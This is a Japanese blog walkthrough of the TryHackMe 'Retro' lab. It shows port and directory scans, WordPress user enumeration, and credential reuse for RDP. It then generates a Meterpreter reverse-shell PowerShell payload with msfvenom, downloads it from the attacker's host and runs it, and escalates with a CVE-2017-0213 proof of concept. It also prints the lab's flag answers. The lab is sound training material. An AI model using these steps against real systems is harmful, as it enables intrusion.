0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Retro:Walkthrough

Posted at

概要

TryHackMe「Retro」のWalkthroughです。

Task1

Q1.A web server is running on the target. What is the hidden directory which the website lives on?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -p- 10.201.78.229 -oN nmap_result

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-10-04T03:38:12+00:00; +1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: RETROWEB
|   NetBIOS_Domain_Name: RETROWEB
|   NetBIOS_Computer_Name: RETROWEB
|   DNS_Domain_Name: RetroWeb
|   DNS_Computer_Name: RetroWeb
|   Product_Version: 10.0.14393
|_  System_Time: 2025-10-04T03:38:07+00:00
| ssl-cert: Subject: commonName=RetroWeb
| Not valid before: 2025-10-03T03:33:35
|_Not valid after:  2026-04-04T03:33:35
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

ポートの稼働状況が分かりました。

ポート サービス バージョン
80 http Microsoft-IIS/10.0
3389 ms-wbt-server Microsoft Terminal Services

ディレクトリスキャンをすると、/retroというパスが分かりました。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.201.78.229/FUZZ -recursion -recursion-depth 1 -ic -c

                        [Status: 200, Size: 703, Words: 27, Lines: 32, Duration: 178ms]
retro                   [Status: 301, Size: 150, Words: 9, Lines: 2, Duration: 221ms]
[INFO] Adding a new job to the queue: http://10.201.78.229/retro/FUZZ

\                       [Status: 200, Size: 703, Words: 27, Lines: 32, Duration: 176ms]
[INFO] Starting queued job on target: http://10.201.78.229/retro/FUZZ

                        [Status: 200, Size: 30515, Words: 2531, Lines: 546, Duration: 1340ms]
wp-content              [Status: 301, Size: 161, Words: 9, Lines: 2, Duration: 177ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.201.78.229/retro/wp-content/
wp-admin                [Status: 301, Size: 159, Words: 9, Lines: 2, Duration: 175ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.201.78.229/retro/wp-admin/
\                       [Status: 200, Size: 30515, Words: 2531, Lines: 546, Duration: 1352ms]

/retro/にアクセスすると、Webサイトが表示されました。

image.png

A./retro

Q2.user.txt

/retro/ページのコンテンツから、Wadeというユーザー名が分かりました。

image.png

フッターのログインリンクから、WordPressのログインページ/retro/wp-login.phpにアクセスできました。

image.png

WordPressが使用されていると分かったので、wpscanでスキャンをします。
wadeというユーザーアカウントがWordPressに登録されていると分かりました。

$ wpscan --url http://10.201.78.229/retro/ -e

[i] User(s) Identified:

[+] wade
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://10.201.78.229/retro/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Wade
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

続けて、Wadeの投稿を探します。
/retro/index.php/2019/12/09/ready-player-one/の記事を見ると、parzivalというワードが分かりました。

image.png

Username:wadePassword:parzivalでWordPressにログイン出来ました。

image.png

同じ認証情報がRDPでも使用されている可能性があります。
RDP接続を試みると、成功しました。

$ xfreerdp /v:10.201.78.229 /u:wade /p:parzival

image.png

デスクトップのuser.txtからユーザーフラグを入手できました。

image.png

A.3b99fbdc6d430bfb51c72c651a261927

Q3.root.txt

msfvenomでリバースシェル用のps1ファイルを作成します。

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.6.55.144 LPORT=1234 -f psh -o ./revshell.ps1 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of psh file: 3218 bytes
Saved as: ./revshell.ps1

ターゲットマシンに、作成したps1ファイルをダウンロードします。

PS C:\Users\Wade> wget http://10.6.55.144/revshell.ps1 -OutFile revshell.ps1

Metasploitのmulti/handlerを、リバースシェル用に用意します。

msf6 exploit(multi/handler) > show options 

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.6.55.144      yes       The listen address (an interface may be specified)
   LPORT     1234             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

リバースシェル用のps1ファイルを実行します。

PS C:\Users\Wade> revshell.ps1

Meterpreterのセッションを張れました。

msf6 exploit(multi/handler) > exploit 
[*] Started reverse TCP handler on 10.6.55.144:1234 
[*] Sending stage (203846 bytes) to 10.201.45.211
[*] Meterpreter session 2 opened (10.6.55.144:1234 -> 10.201.45.211:49894) at 2025-10-04 04:09:03 -0400

meterpreter >

ターゲットマシンのシステム情報を確認すると、Windows Server 2016 (10.0 Build 14393)であると分かりました。

meterpreter > sysinfo 
Computer        : RETROWEB
OS              : Windows Server 2016 (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows

このOSの権限昇格の脆弱性を探すと、CVE-2017-0213が見つかりました。

下記リポジトリのPoCを使用します。

MeterpreterでPoCをアップロードします。

meterpreter > upload /home/kali/Retro/CVE-2017-0213-/CVE-2017-0213_x64.exe
[*] Uploading  : /home/kali/Retro/CVE-2017-0213-/CVE-2017-0213_x64.exe -> CVE-2017-0213_x64.exe
[*] Uploaded 157.00 KiB of 157.00 KiB (100.0%): /home/kali/Retro/CVE-2017-0213-/CVE-2017-0213_x64.exe -> CVE-2017-0213_x64.exe
[*] Completed  : /home/kali/Retro/CVE-2017-0213-/CVE-2017-0213_x64.exe -> CVE-2017-0213_x64.exe

PoCを実行すると、システムアカウントの権限を取得できました。

image.png

root.txt.txtからルートフラグを入手できました。

image.png

A.7958b569565d7bd88d10c6f22d1c4063

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?